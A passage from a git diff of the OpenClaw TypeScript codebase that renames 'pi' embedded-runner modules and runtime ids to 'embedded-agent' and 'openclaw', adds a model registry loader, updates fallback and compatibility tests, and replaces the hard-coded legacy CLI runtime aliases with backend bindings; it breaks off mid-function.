logStage("models-json-ready"); } - // IMPORTANT: keep the dynamic import *inside* the try/catch. - // If this fails once (e.g. during a pnpm install that temporarily swaps node_modules), - // we must not poison the cache with a rejected promise (otherwise all channel handlers - // will keep failing until restart). - const piSdk = await importPiSdk(); - logStage("pi-sdk-imported"); + // Keep discovery inside try/catch so transient filesystem/config failures do not poison + // the shared catalog cache until restart. + const agentDiscovery = await importAgentDiscovery(); + logStage("agent-discovery-imported"); const agentDir = resolveDefaultAgentDir(cfg); const { buildShouldSuppressBuiltInModel } = await loadModelSuppression(); logStage("catalog-deps-ready"); - const authStorage = piSdk.discoverAuthStorage( + const authStorage = agentDiscovery.discoverAuthStorage( agentDir, readOnly ? { readOnly: true } : undefined, ); logStage("auth-storage-ready"); - const registry = instantiatePiModelRegistry( - piSdk, - authStorage, - join(agentDir, "models.json"), - ); + const registry = agentDiscovery.discoverModels(authStorage, agentDir); logStage("registry-ready"); - const entries = Array.isArray(registry) ? registry : registry.getAll(); + const entries = registry.getAll() as DiscoveredModel[]; logStage("registry-read", `entries=${entries.length}`); const shouldSuppressBuiltInModel = buildShouldSuppressBuiltInModel({ config: cfg }); diff --git a/src/agents/model-compat.test.ts b/src/agents/model-compat.test.ts index 7d0f54370f6..f4cffa376f4 100644 --- a/src/agents/model-compat.test.ts +++ b/src/agents/model-compat.test.ts @@ -1,4 +1,4 @@ -import type { Api, Model } from "@earendil-works/pi-ai"; +import type { Api, Model } from "openclaw/plugin-sdk/llm"; import { beforeEach, describe, expect, it, vi } from "vitest"; const providerRuntimeMocks = vi.hoisted(() => ({ @@ -22,7 +22,7 @@ import { selectHighSignalLiveItems, } from "./live-model-filter.js"; -const baseModel = (): Model => +const baseModel = (): Model => ({ id: "glm-4.7", name: "GLM-4.7", @@ -34,46 +34,46 @@ const baseModel = (): Model => cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, contextWindow: 8192, maxTokens: 1024, - }) as Model; + }) as Model; -function supportsDeveloperRole(model: Model): boolean | undefined { +function supportsDeveloperRole(model: Model): boolean | undefined { return (model.compat as { supportsDeveloperRole?: boolean } | undefined)?.supportsDeveloperRole; } -function supportsUsageInStreaming(model: Model): boolean | undefined { +function supportsUsageInStreaming(model: Model): boolean | undefined { return (model.compat as { supportsUsageInStreaming?: boolean } | undefined) ?.supportsUsageInStreaming; } -function supportsStrictMode(model: Model): boolean | undefined { +function supportsStrictMode(model: Model): boolean | undefined { return (model.compat as { supportsStrictMode?: boolean } | undefined)?.supportsStrictMode; } -function expectSupportsDeveloperRoleForcedOff(overrides?: Partial>): void { +function expectSupportsDeveloperRoleForcedOff(overrides?: Partial): void { const model = { ...baseModel(), ...overrides }; delete (model as { compat?: unknown }).compat; - const normalized = normalizeModelCompat(model as Model); + const normalized = normalizeModelCompat(model as Model); expect(supportsDeveloperRole(normalized)).toBe(false); } -function expectSupportsUsageInStreamingForcedOff(overrides?: Partial>): void { +function expectSupportsUsageInStreamingForcedOff(overrides?: Partial): void { const model = { ...baseModel(), ...overrides }; delete (model as { compat?: unknown }).compat; - const normalized = normalizeModelCompat(model as Model); + const normalized = normalizeModelCompat(model as Model); expect(supportsUsageInStreaming(normalized)).toBe(false); } -function expectSupportsStrictModeForcedOff(overrides?: Partial>): void { +function expectSupportsStrictModeForcedOff(overrides?: Partial): void { const model = { ...baseModel(), ...overrides }; delete (model as { compat?: unknown }).compat; - const normalized = normalizeModelCompat(model as Model); + const normalized = normalizeModelCompat(model as Model); expect(supportsStrictMode(normalized)).toBe(false); } -function expectNativeStreamingSupported(overrides: Partial>): void { +function expectNativeStreamingSupported(overrides: Partial): void { const model = { ...baseModel(), ...overrides }; delete (model as { compat?: unknown }).compat; - const normalized = normalizeModelCompat(model as Model); + const normalized = normalizeModelCompat(model as Model); expect(supportsDeveloperRole(normalized)).toBe(false); expect(supportsUsageInStreaming(normalized)).toBe(true); expect(supportsStrictMode(normalized)).toBe(false); @@ -85,7 +85,7 @@ beforeEach(() => { }); describe("normalizeModelCompat — Anthropic baseUrl", () => { - const anthropicBase = (): Model => + const anthropicBase = (): Model => ({ id: "claude-opus-4-6", name: "claude-opus-4-6", @@ -96,7 +96,7 @@ describe("normalizeModelCompat — Anthropic baseUrl", () => { cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, contextWindow: 200_000, maxTokens: 8_192, - }) as Model; + }) as Model; it("strips /v1 suffix from anthropic-messages baseUrl", () => { const model = { ...anthropicBase(), baseUrl: "https://api.anthropic.com/v1" }; @@ -253,7 +253,7 @@ describe("normalizeModelCompat", () => { }; delete (model as { baseUrl?: unknown }).baseUrl; delete (model as { compat?: unknown }).compat; - const normalized = normalizeModelCompat(model as Model); + const normalized = normalizeModelCompat(model as Model); expect(normalized.compat).toBeUndefined(); }); @@ -422,13 +422,13 @@ describe("isModernModelRef", () => { expect(isModernModelRef({ provider: "opencode-go", id: "minimax-m2.7" })).toBe(true); }); - it("matches plugin-advertised modern models across canonical provider aliases", () => { + it("matches plugin-advertised modern models only for exact provider ids", () => { providerRuntimeMocks.resolveProviderModernModelRef.mockImplementation(({ provider, context }) => - provider === "zai" && context.modelId === "glm-5" ? true : undefined, + provider === "z.ai" && context.modelId === "glm-5" ? true : undefined, ); expect(isModernModelRef({ provider: "z.ai", id: "glm-5" })).toBe(true); - expect(isModernModelRef({ provider: "z-ai", id: "glm-5" })).toBe(true); + expect(isModernModelRef({ provider: "z-ai", id: "glm-5" })).toBe(false); }); it("excludes provider-declined modern models", () => { diff --git a/src/agents/model-fallback-observation.ts b/src/agents/model-fallback-observation.ts index 35c8a9d5a95..a882445f115 100644 --- a/src/agents/model-fallback-observation.ts +++ b/src/agents/model-fallback-observation.ts @@ -1,8 +1,8 @@ import { createSubsystemLogger } from "../logging/subsystem.js"; import { sanitizeForLog } from "../terminal/ansi.js"; +import { buildTextObservationFields } from "./embedded-agent-error-observation.js"; +import type { FailoverReason } from "./embedded-agent-helpers.js"; import type { FallbackAttempt, ModelCandidate } from "./model-fallback.types.js"; -import { buildTextObservationFields } from "./pi-embedded-error-observation.js"; -import type { FailoverReason } from "./pi-embedded-helpers.js"; const decisionLog = createSubsystemLogger("model-fallback").child("decision"); diff --git a/src/agents/model-fallback.run-embedded.e2e.test.ts b/src/agents/model-fallback.run-embedded.e2e.test.ts index 28158b20e6f..66c9bc842ad 100644 --- a/src/agents/model-fallback.run-embedded.e2e.test.ts +++ b/src/agents/model-fallback.run-embedded.e2e.test.ts @@ -4,19 +4,19 @@ import path from "node:path"; import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../config/config.js"; import type { AuthProfileFailureReason } from "./auth-profiles.js"; +import { classifyEmbeddedAgentRunResultForModelFallback } from "./embedded-agent-runner/result-fallback-classifier.js"; +import type { EmbeddedRunAttemptResult } from "./embedded-agent-runner/run/types.js"; import { runWithModelFallback } from "./model-fallback.js"; -import { classifyEmbeddedPiRunResultForModelFallback } from "./pi-embedded-runner/result-fallback-classifier.js"; -import type { EmbeddedRunAttemptResult } from "./pi-embedded-runner/run/types.js"; import { buildEmbeddedRunnerAssistant, createResolvedEmbeddedRunnerModel, makeEmbeddedRunnerAttempt, -} from "./test-helpers/pi-embedded-runner-e2e-fixtures.js"; +} from "./test-helpers/embedded-agent-runner-e2e-fixtures.js"; import { installEmbeddedRunnerBackoffE2eMocks, installEmbeddedRunnerBaseE2eMocks, installEmbeddedRunnerFastRunE2eMocks, -} from "./test-helpers/pi-embedded-runner-e2e-mocks.js"; +} from "./test-helpers/embedded-agent-runner-e2e-mocks.js"; const runEmbeddedAttemptMock = vi.fn<(params: unknown) => Promise>(); const { computeBackoffMock, sleepWithAbortMock } = vi.hoisted(() => ({ @@ -46,18 +46,18 @@ const installRunEmbeddedMocks = () => { computeBackoff: (policy, attempt) => computeBackoffMock(policy, attempt), sleepWithAbort: (ms, abortSignal) => sleepWithAbortMock(ms, abortSignal), }); - vi.doMock("./pi-embedded-runner/model.js", () => ({ + vi.doMock("./embedded-agent-runner/model.js", () => ({ resolveModelAsync: async (provider: string, modelId: string) => createResolvedEmbeddedRunnerModel(provider, modelId), })); }; -let runEmbeddedPiAgent: typeof import("./pi-embedded-runner/run.js").runEmbeddedPiAgent; +let runEmbeddedAgent: typeof import("./embedded-agent-runner/run.js").runEmbeddedAgent; beforeAll(async () => { vi.resetModules(); installRunEmbeddedMocks(); - ({ runEmbeddedPiAgent } = await import("./pi-embedded-runner/run.js")); + ({ runEmbeddedAgent } = await import("./embedded-agent-runner/run.js")); }); beforeEach(() => { @@ -237,7 +237,7 @@ async function runEmbeddedFallback(params: { runId: params.runId, agentDir: params.agentDir, run: (provider, model, options) => - runEmbeddedPiAgent({ + runEmbeddedAgent({ sessionId: `session:${params.runId}`, sessionKey: params.sessionKey, sessionFile: path.join(params.workspaceDir, `${params.runId}.jsonl`), @@ -372,7 +372,7 @@ function expectProviderAttemptCounts(expected: { openai: number; groq: number }) expect(countProviderAttempts("groq")).toBe(expected.groq); } -describe("runWithModelFallback + runEmbeddedPiAgent failover behavior", () => { +describe("runWithModelFallback + runEmbeddedAgent failover behavior", () => { it("keeps tool summary on incomplete side-effect terminal results", async () => { await withAgentWorkspace(async ({ agentDir, workspaceDir }) => { await writeAuthStore(agentDir); @@ -388,7 +388,7 @@ describe("runWithModelFallback + runEmbeddedPiAgent failover behavior", () => { }), ); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ sessionId: "session:tool-side-effect-terminal", sessionKey: "agent:test:tool-side-effect-terminal", sessionFile: path.join(workspaceDir, "tool-side-effect-terminal.jsonl"), @@ -407,7 +407,7 @@ describe("runWithModelFallback + runEmbeddedPiAgent failover behavior", () => { expect(result.meta.toolSummary?.calls).toBe(1); expect(result.meta.toolSummary?.tools).toEqual(["write"]); expect( - classifyEmbeddedPiRunResultForModelFallback({ + classifyEmbeddedAgentRunResultForModelFallback({ provider: "openai-codex", model: "gpt-5.4", result, diff --git a/src/agents/model-fallback.test.ts b/src/agents/model-fallback.test.ts index 4c93f3f6073..13be9c9292d 100644 --- a/src/agents/model-fallback.test.ts +++ b/src/agents/model-fallback.test.ts @@ -16,6 +16,8 @@ import type { PluginMetadataSnapshot } from "../plugins/plugin-metadata-snapshot import { CommandLaneTaskTimeoutError } from "../process/command-queue.js"; import { AUTH_STORE_VERSION } from "./auth-profiles/constants.js"; import type { AuthProfileStore } from "./auth-profiles/types.js"; +import { classifyEmbeddedAgentRunResultForModelFallback } from "./embedded-agent-runner/result-fallback-classifier.js"; +import type { EmbeddedAgentRunResult } from "./embedded-agent-runner/types.js"; import { FailoverError } from "./failover-error.js"; import { MissingAgentHarnessError } from "./harness/errors.js"; import { LiveSessionModelSwitchError } from "./live-model-switch-error.js"; @@ -25,8 +27,6 @@ import { runWithImageModelFallback, runWithModelFallback as runWithModelFallbackBase, } from "./model-fallback.js"; -import { classifyEmbeddedPiRunResultForModelFallback } from "./pi-embedded-runner/result-fallback-classifier.js"; -import type { EmbeddedPiRunResult } from "./pi-embedded-runner/types.js"; import { SessionWriteLockTimeoutError } from "./session-write-lock-error.js"; import { makeModelFallbackCfg } from "./test-helpers/model-fallback-config-fixture.js"; @@ -514,21 +514,6 @@ const INSUFFICIENT_QUOTA_PAYLOAD = '{"type":"error","error":{"type":"insufficient_quota","message":"Your account has insufficient quota balance to run this request."}}'; describe("runWithModelFallback", () => { - it("normalizes anthropic-cli refs to the Claude CLI provider before execution", async () => { - const run = vi.fn().mockResolvedValue("ok"); - - const result = await runWithModelFallback({ - cfg: {} as OpenClawConfig, - provider: "anthropic-cli", - model: "claude-opus-4-7", - run, - }); - - expect(run).toHaveBeenCalledWith("claude-cli", "claude-opus-4-7"); - expect(result.provider).toBe("claude-cli"); - expect(result.model).toBe("claude-opus-4-7"); - }); - it("skips auth store bootstrap when no auth profile sources exist", async () => { authSourceCheckMock.hasAnyAuthProfileStoreSource.mockReturnValue(false); const run = vi.fn().mockResolvedValueOnce("ok"); @@ -655,20 +640,20 @@ describe("runWithModelFallback", () => { expect(result.attempts[0].reason).toBe("unknown"); }); - it("does not prepare agent harness plugins for forced PI candidates", async () => { + it("does not prepare agent harness plugins for forced OpenClaw candidates", async () => { const cfg = makeCfg({ models: { providers: { openai: { baseUrl: "https://api.openai.com/v1", - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, models: [], }, }, }, }); const prepareAgentHarnessRuntime = vi.fn(() => { - throw new Error("PI candidates should not prepare plugin harnesses"); + throw new Error("OpenClaw candidates should not prepare plugin harnesses"); }); const run = vi.fn().mockResolvedValueOnce("ok"); @@ -688,7 +673,7 @@ describe("runWithModelFallback", () => { it("does not prepare agent harness plugins for implicit Codex candidates", async () => { const cfg = makeCfg(); const prepareAgentHarnessRuntime = vi.fn(() => { - throw new Error("implicit Codex candidates should stay PI-compatible"); + throw new Error("implicit Codex candidates should stay embedded-compatible"); }); const run = vi.fn().mockResolvedValueOnce("ok"); @@ -1268,7 +1253,7 @@ describe("runWithModelFallback", () => { }); it("keeps tool-executing empty GPT-5 runs out of fallback", () => { - const runResult: EmbeddedPiRunResult = { + const runResult: EmbeddedAgentRunResult = { payloads: [], meta: { durationMs: 1, @@ -1280,7 +1265,7 @@ describe("runWithModelFallback", () => { }; expect( - classifyEmbeddedPiRunResultForModelFallback({ + classifyEmbeddedAgentRunResultForModelFallback({ provider: "openai-codex", model: "gpt-5.4", result: runResult, @@ -1289,7 +1274,7 @@ describe("runWithModelFallback", () => { }); it("keeps normalized silent GPT-5 terminal replies out of fallback", () => { - const runResult: EmbeddedPiRunResult = { + const runResult: EmbeddedAgentRunResult = { payloads: [], meta: { durationMs: 1, @@ -1298,7 +1283,7 @@ describe("runWithModelFallback", () => { }; expect( - classifyEmbeddedPiRunResultForModelFallback({ + classifyEmbeddedAgentRunResultForModelFallback({ provider: "openai-codex", model: "gpt-5.4", result: runResult, @@ -1307,7 +1292,7 @@ describe("runWithModelFallback", () => { }); it("keeps before_agent_run hook blocks out of empty-result fallback", () => { - const runResult: EmbeddedPiRunResult = { + const runResult: EmbeddedAgentRunResult = { payloads: [{ text: "Blocked by before-run policy.", isError: true }], meta: { durationMs: 1, @@ -1320,7 +1305,7 @@ describe("runWithModelFallback", () => { }; expect( - classifyEmbeddedPiRunResultForModelFallback({ + classifyEmbeddedAgentRunResultForModelFallback({ provider: "atlassian-ai-gateway-openai", model: "gpt-5.5-2026-04-23", result: runResult, @@ -1329,7 +1314,7 @@ describe("runWithModelFallback", () => { }); it("uses harness-owned terminal classification for GPT-5 fallback", () => { - const runResult: EmbeddedPiRunResult = { + const runResult: EmbeddedAgentRunResult = { payloads: [], meta: { durationMs: 1, @@ -1337,7 +1322,7 @@ describe("runWithModelFallback", () => { }, }; - const classification = classifyEmbeddedPiRunResultForModelFallback({ + const classification = classifyEmbeddedAgentRunResultForModelFallback({ provider: "codex", model: "gpt-5.4", result: runResult, @@ -1348,7 +1333,7 @@ describe("runWithModelFallback", () => { }); it("classifies non-GPT incomplete terminal errors for configured fallback", () => { - const runResult: EmbeddedPiRunResult = { + const runResult: EmbeddedAgentRunResult = { payloads: [ { text: "⚠️ Agent couldn't generate a response. Please try again.", isError: true }, ], @@ -1357,7 +1342,7 @@ describe("runWithModelFallback", () => { }, }; - const classification = classifyEmbeddedPiRunResultForModelFallback({ + const classification = classifyEmbeddedAgentRunResultForModelFallback({ provider: "anthropic", model: "claude-opus-4.7", result: runResult, @@ -1368,7 +1353,7 @@ describe("runWithModelFallback", () => { }); it("keeps aborted harness-classified GPT-5 runs out of fallback", () => { - const runResult: EmbeddedPiRunResult = { + const runResult: EmbeddedAgentRunResult = { payloads: [], meta: { durationMs: 1, @@ -1378,7 +1363,7 @@ describe("runWithModelFallback", () => { }; expect( - classifyEmbeddedPiRunResultForModelFallback({ + classifyEmbeddedAgentRunResultForModelFallback({ provider: "codex", model: "gpt-5.4", result: runResult, diff --git a/src/agents/model-fallback.ts b/src/agents/model-fallback.ts index 792bb65cfef..ca5bca82da1 100644 --- a/src/agents/model-fallback.ts +++ b/src/agents/model-fallback.ts @@ -17,10 +17,14 @@ import { isCommandLaneTaskTimeoutError } from "../process/command-queue.js"; import { createLazyImportLoader } from "../shared/lazy-promise.js"; import { normalizeOptionalString } from "../shared/string-coerce.js"; import { sanitizeForLog } from "../terminal/ansi.js"; +import { isDefaultAgentRuntimeId } from "./agent-runtime-id.js"; +import { normalizeOptionalAgentRuntimeId } from "./agent-runtime-id.js"; import { externalCliDiscoveryForProviders } from "./auth-profiles/external-cli-discovery.js"; import { hasAnyAuthProfileStoreSource } from "./auth-profiles/source-check.js"; import type { AuthProfileStore } from "./auth-profiles/types.js"; import { DEFAULT_MODEL, DEFAULT_PROVIDER } from "./defaults.js"; +import { isLikelyContextOverflowError } from "./embedded-agent-helpers/errors.js"; +import type { FailoverReason } from "./embedded-agent-helpers/types.js"; import { FailoverError, coerceToFailoverError, @@ -58,8 +62,6 @@ import { resolveConfiguredModelRef, resolveModelRefFromString, } from "./model-selection-resolve.js"; -import { isLikelyContextOverflowError } from "./pi-embedded-helpers/errors.js"; -import type { FailoverReason } from "./pi-embedded-helpers/types.js"; import { resolveSessionSuspensionReason, suspendSession } from "./session-suspension.js"; const log = createSubsystemLogger("model-fallback"); @@ -396,7 +398,7 @@ async function assertModelFallbackCandidateHarnessAvailable( if (isCliProvider(params.provider, params.cfg)) { return; } - const agentRuntimeOverride = normalizeOptionalString(agentHarnessRuntimeOverride); + const agentRuntimeOverride = normalizeOptionalAgentRuntimeId(agentHarnessRuntimeOverride); const harnessPolicy = resolveAgentHarnessPolicy({ provider: params.provider, modelId: params.model, @@ -404,14 +406,20 @@ async function assertModelFallbackCandidateHarnessAvailable( agentId: params.agentId, sessionKey: params.sessionKey, }); - const agentRuntime = agentRuntimeOverride ?? harnessPolicy.runtime; - const agentRuntimeSource = agentRuntimeOverride ? "model" : harnessPolicy.runtimeSource; + const agentRuntime = + agentRuntimeOverride && !isDefaultAgentRuntimeId(agentRuntimeOverride) + ? agentRuntimeOverride + : harnessPolicy.runtime; + const agentRuntimeSource = + agentRuntimeOverride && !isDefaultAgentRuntimeId(agentRuntimeOverride) + ? "model" + : harnessPolicy.runtimeSource; if (isCliAgentRuntime(agentRuntime, params.cfg)) { return; } if ( agentRuntime === "auto" || - agentRuntime === "pi" || + agentRuntime === "openclaw" || (agentRuntime === "codex" && agentRuntimeSource === "implicit") ) { return; @@ -421,7 +429,12 @@ async function assertModelFallbackCandidateHarnessAvailable( model: params.model, agentHarnessRuntimeOverride, }); - if (!getRegisteredAgentHarness(agentRuntime)) { + if ( + agentRuntime !== "auto" && + agentRuntime !== "openclaw" && + !(agentRuntime === "codex" && agentRuntimeSource === "implicit") && + !getRegisteredAgentHarness(agentRuntime) + ) { throw new MissingAgentHarnessError(agentRuntime); } } @@ -750,7 +763,6 @@ function resolveFallbackCandidateCacheKey( env, ...(providerLoadMetadata ? { pluginMetadataSnapshot: providerLoadMetadata } : {}), activate: false, - bundledProviderAllowlistCompat: true, bundledProviderVitestCompat: true, }) ) { diff --git a/src/agents/model-fallback.types.ts b/src/agents/model-fallback.types.ts index ef2ed1cc015..a160f81355e 100644 --- a/src/agents/model-fallback.types.ts +++ b/src/agents/model-fallback.types.ts @@ -1,4 +1,4 @@ -import type { FailoverReason } from "./pi-embedded-helpers/types.js"; +import type { FailoverReason } from "./embedded-agent-helpers/types.js"; export type ModelCandidate = { provider: string; diff --git a/src/agents/model-picker-visibility.ts b/src/agents/model-picker-visibility.ts index 223310a76aa..069de51297c 100644 --- a/src/agents/model-picker-visibility.ts +++ b/src/agents/model-picker-visibility.ts @@ -1,8 +1,14 @@ -import { isLegacyRuntimeModelProvider } from "./model-runtime-aliases.js"; +import { isCliRuntimeProvider } from "./model-runtime-aliases.js"; import { normalizeProviderId } from "./provider-id.js"; +const RETIRED_MODEL_PICKER_PROVIDERS = new Set(["codex", "codex-cli"]); + export function isModelPickerVisibleProvider(provider: string): boolean { - return !isLegacyRuntimeModelProvider(normalizeProviderId(provider)); + const normalized = normalizeProviderId(provider); + return ( + !RETIRED_MODEL_PICKER_PROVIDERS.has(normalized) && + !isCliRuntimeProvider(normalized, { includeSetupRegistry: true }) + ); } export function isModelPickerVisibleModelRef(ref: string): boolean { diff --git a/src/agents/model-registry-loader.ts b/src/agents/model-registry-loader.ts new file mode 100644 index 00000000000..03cf749eadc --- /dev/null +++ b/src/agents/model-registry-loader.ts @@ -0,0 +1,30 @@ +import type { OpenClawConfig } from "../config/types.openclaw.js"; +import { discoverAuthStorage, discoverModels } from "./agent-model-discovery.js"; +import { resolveDefaultAgentDir } from "./agent-scope.js"; +import type { ModelRegistry } from "./sessions/index.js"; + +export type LoadAgentModelRegistryOptions = { + providerFilter?: string; + normalizeModels?: boolean; + readOnly?: boolean; + skipCredentials?: boolean; + workspaceDir?: string; +}; + +export function loadAgentModelRegistry( + config: OpenClawConfig, + options: LoadAgentModelRegistryOptions = {}, +): { agentDir: string; registry: ModelRegistry } { + const agentDir = resolveDefaultAgentDir(config); + const authStorage = discoverAuthStorage(agentDir, { + readOnly: options.readOnly ?? true, + skipCredentials: options.skipCredentials, + config, + workspaceDir: options.workspaceDir, + }); + const registry = discoverModels(authStorage, agentDir, { + providerFilter: options.providerFilter, + normalizeModels: options.normalizeModels, + }); + return { agentDir, registry }; +} diff --git a/src/agents/model-runtime-aliases.test.ts b/src/agents/model-runtime-aliases.test.ts index 56f57b9da25..bc48ad8235b 100644 --- a/src/agents/model-runtime-aliases.test.ts +++ b/src/agents/model-runtime-aliases.test.ts @@ -1,5 +1,6 @@ -import { describe, expect, it } from "vitest"; +import { afterEach, beforeEach, describe, expect, it } from "vitest"; import type { OpenClawConfig } from "../config/types.openclaw.js"; +import { testing as cliBackendsTesting } from "./cli-backends.js"; import { resolveCliRuntimeExecutionProvider } from "./model-runtime-aliases.js"; function createAnthropicAuthConfig(params: { @@ -23,6 +24,23 @@ function createAnthropicAuthConfig(params: { } describe("resolveCliRuntimeExecutionProvider", () => { + beforeEach(() => { + cliBackendsTesting.setDepsForTest({ + resolveRuntimeCliBackends: () => [ + { + id: "claude-cli", + modelProvider: "anthropic", + pluginId: "anthropic", + config: { command: "claude" }, + }, + ], + }); + }); + + afterEach(() => { + cliBackendsTesting.resetDepsForTest(); + }); + it("routes Anthropic execution to Claude CLI when the selected auth profile is Claude CLI", () => { expect( resolveCliRuntimeExecutionProvider({ @@ -67,13 +85,13 @@ describe("resolveCliRuntimeExecutionProvider", () => { ).toBe("claude-cli"); }); - it("does not override an explicit PI model-runtime policy with CLI auth", () => { + it("does not override an explicit OpenClaw model-runtime policy with CLI auth", () => { expect( resolveCliRuntimeExecutionProvider({ cfg: createAnthropicAuthConfig({ order: ["anthropic:claude-cli"], models: { - "anthropic/opus-4.7": { agentRuntime: { id: "pi" } }, + "anthropic/opus-4.7": { agentRuntime: { id: "openclaw" } }, }, }), provider: "anthropic", diff --git a/src/agents/model-runtime-aliases.ts b/src/agents/model-runtime-aliases.ts index 451a8a2eb17..5a38a0a126d 100644 --- a/src/agents/model-runtime-aliases.ts +++ b/src/agents/model-runtime-aliases.ts @@ -1,185 +1,97 @@ import type { OpenClawConfig } from "../config/types.openclaw.js"; import { normalizeOptionalLowercaseString } from "../shared/string-coerce.js"; -import { normalizeStaticProviderModelId } from "./model-ref-shared.js"; +import { + isCliRuntimeModelBackendForProvider, + listCliRuntimeModelBackendBindings, + resolveCliRuntimeModelBackendBinding, +} from "./cli-backends.js"; import { resolveModelRuntimePolicy } from "./model-runtime-policy.js"; import { resolveProviderIdForAuth } from "./provider-auth-aliases.js"; import { normalizeProviderId } from "./provider-id.js"; -type LegacyRuntimeModelProviderAlias = { - /** Legacy provider id that encoded the runtime in the model ref. */ - legacyProvider: string; - /** Canonical provider id that should own model selection. */ - provider: string; - /** Runtime/backend id selected for the migrated ref. */ - runtime: string; - /** True when the runtime is a CLI backend rather than an embedded harness. */ - cli: boolean; - /** True when doctor must write a runtime policy even if the target runtime is the default. */ - requiresRuntimePolicy: boolean; -}; - -const LEGACY_RUNTIME_MODEL_PROVIDER_ALIASES = [ - { - legacyProvider: "codex", - provider: "openai", - runtime: "codex", - cli: false, - requiresRuntimePolicy: false, - }, - { - legacyProvider: "codex-cli", - provider: "openai", - runtime: "codex", - cli: false, - requiresRuntimePolicy: true, - }, - { - legacyProvider: "claude-cli", - provider: "anthropic", - runtime: "claude-cli", - cli: true, - requiresRuntimePolicy: true, - }, - { - legacyProvider: "google-gemini-cli", - provider: "google", - runtime: "google-gemini-cli", - cli: true, - requiresRuntimePolicy: true, - }, -] as const satisfies readonly LegacyRuntimeModelProviderAlias[]; - -export function legacyRuntimeModelAliasRequiresRuntimePolicy(provider: string): boolean { - return ( - LEGACY_RUNTIME_MODEL_PROVIDER_ALIASES.find( - (entry) => normalizeProviderId(entry.legacyProvider) === normalizeProviderId(provider), - )?.requiresRuntimePolicy === true - ); -} - -const LEGACY_ALIAS_BY_PROVIDER = new Map( - LEGACY_RUNTIME_MODEL_PROVIDER_ALIASES.map((entry) => [ - normalizeProviderId(entry.legacyProvider), - entry, - ]), -); - -const CLI_RUNTIME_BY_PROVIDER = new Map( - LEGACY_RUNTIME_MODEL_PROVIDER_ALIASES.filter((entry) => entry.cli).map((entry) => [ - `${normalizeProviderId(entry.provider)}:${normalizeProviderId(entry.runtime)}`, - entry, - ]), -); - -const CLI_RUNTIME_ALIASES = new Set( - LEGACY_RUNTIME_MODEL_PROVIDER_ALIASES.filter((entry) => entry.cli).map((entry) => - normalizeProviderId(entry.runtime), - ), -); - -const CLI_RUNTIME_PROVIDER_IDS = new Set( - LEGACY_RUNTIME_MODEL_PROVIDER_ALIASES.filter((entry) => entry.cli).map((entry) => - normalizeProviderId(entry.legacyProvider), - ), -); - const RUNTIME_COMPARISON_PROVIDER_ALIASES = new Map([["openai-codex", "openai"]]); -export function listLegacyRuntimeModelProviderAliases(): readonly LegacyRuntimeModelProviderAlias[] { - return LEGACY_RUNTIME_MODEL_PROVIDER_ALIASES; -} - /** True for CLI runtime provider ids such as `claude-cli` and `google-gemini-cli`. */ -export function isCliRuntimeProvider(provider: string): boolean { - return CLI_RUNTIME_PROVIDER_IDS.has(normalizeProviderId(provider)); -} - -function resolveLegacyRuntimeModelProviderAlias( +export function isCliRuntimeProvider( provider: string, -): LegacyRuntimeModelProviderAlias | undefined { - return LEGACY_ALIAS_BY_PROVIDER.get(normalizeProviderId(provider)); -} - -export function migrateLegacyRuntimeModelRef(raw: string): { - ref: string; - legacyProvider: string; - provider: string; - model: string; - runtime: string; - cli: boolean; -} | null { - const trimmed = raw.trim(); - const slash = trimmed.indexOf("/"); - if (slash <= 0 || slash >= trimmed.length - 1) { - return null; - } - const alias = resolveLegacyRuntimeModelProviderAlias(trimmed.slice(0, slash)); - if (!alias) { - return null; - } - const rawModel = trimmed.slice(slash + 1).trim(); - const model = normalizeStaticProviderModelId(alias.provider, rawModel); - if (!model) { - return null; - } - return { - ref: `${alias.provider}/${model}`, - legacyProvider: alias.legacyProvider, - provider: alias.provider, - model, - runtime: alias.runtime, - cli: alias.cli, - }; -} - -/** Shared setup/default pickers hide all legacy runtime provider ids. */ -export function isLegacyRuntimeModelProvider(provider: string): boolean { - return resolveLegacyRuntimeModelProviderAlias(provider) !== undefined; + params: { config?: OpenClawConfig; env?: NodeJS.ProcessEnv; includeSetupRegistry?: boolean } = {}, +): boolean { + const normalized = normalizeProviderId(provider); + return listCliRuntimeModelBackendBindings({ + config: params.config, + env: params.env, + includeSetupRegistry: + params.includeSetupRegistry ?? (params.config !== undefined || params.env !== undefined), + }).some((binding) => binding.runtime === normalized); } export function isCliRuntimeAlias(runtime: string | undefined): boolean { - const normalized = runtime?.trim(); - return normalized ? CLI_RUNTIME_ALIASES.has(normalizeProviderId(normalized)) : false; + const normalized = normalizeProviderId(runtime ?? ""); + return normalized + ? listCliRuntimeModelBackendBindings().some((binding) => binding.runtime === normalized) + : false; } export function isCliRuntimeAliasForProvider(params: { runtime: string | undefined; provider: string | undefined; + cfg?: OpenClawConfig; }): boolean { - const runtime = params.runtime?.trim(); - const provider = params.provider?.trim(); - if (!runtime || !provider) { - return false; - } - return CLI_RUNTIME_BY_PROVIDER.has( - `${normalizeProviderId(provider)}:${normalizeProviderId(runtime)}`, - ); + return isCliRuntimeModelBackendForProvider({ + provider: params.provider, + runtime: params.runtime, + config: params.cfg, + }); } -function canonicalizeRuntimeAliasProvider(provider: string): string { +type RuntimeAliasComparisonOptions = { + config?: OpenClawConfig; + env?: NodeJS.ProcessEnv; + includeSetupRegistry?: boolean; +}; + +function canonicalizeRuntimeAliasProvider( + provider: string, + options: RuntimeAliasComparisonOptions = {}, +): string { const normalized = normalizeProviderId(provider); return ( RUNTIME_COMPARISON_PROVIDER_ALIASES.get(normalized) ?? - resolveLegacyRuntimeModelProviderAlias(provider)?.provider ?? + listCliRuntimeModelBackendBindings({ + config: options.config, + env: options.env, + includeSetupRegistry: + options.includeSetupRegistry ?? (options.config !== undefined || options.env !== undefined), + }).find((binding) => binding.runtime === normalized)?.provider ?? provider ); } -function normalizeRuntimeModelRefForComparison(raw: string): string { +function normalizeRuntimeModelRefForComparison( + raw: string, + options: RuntimeAliasComparisonOptions = {}, +): string { const trimmed = raw.trim(); const slash = trimmed.indexOf("/"); if (slash <= 0 || slash >= trimmed.length - 1) { - return normalizeProviderId(canonicalizeRuntimeAliasProvider(trimmed)); + return normalizeProviderId(canonicalizeRuntimeAliasProvider(trimmed, options)); } const provider = trimmed.slice(0, slash).trim(); const model = trimmed.slice(slash + 1).trim(); - const canonicalProvider = 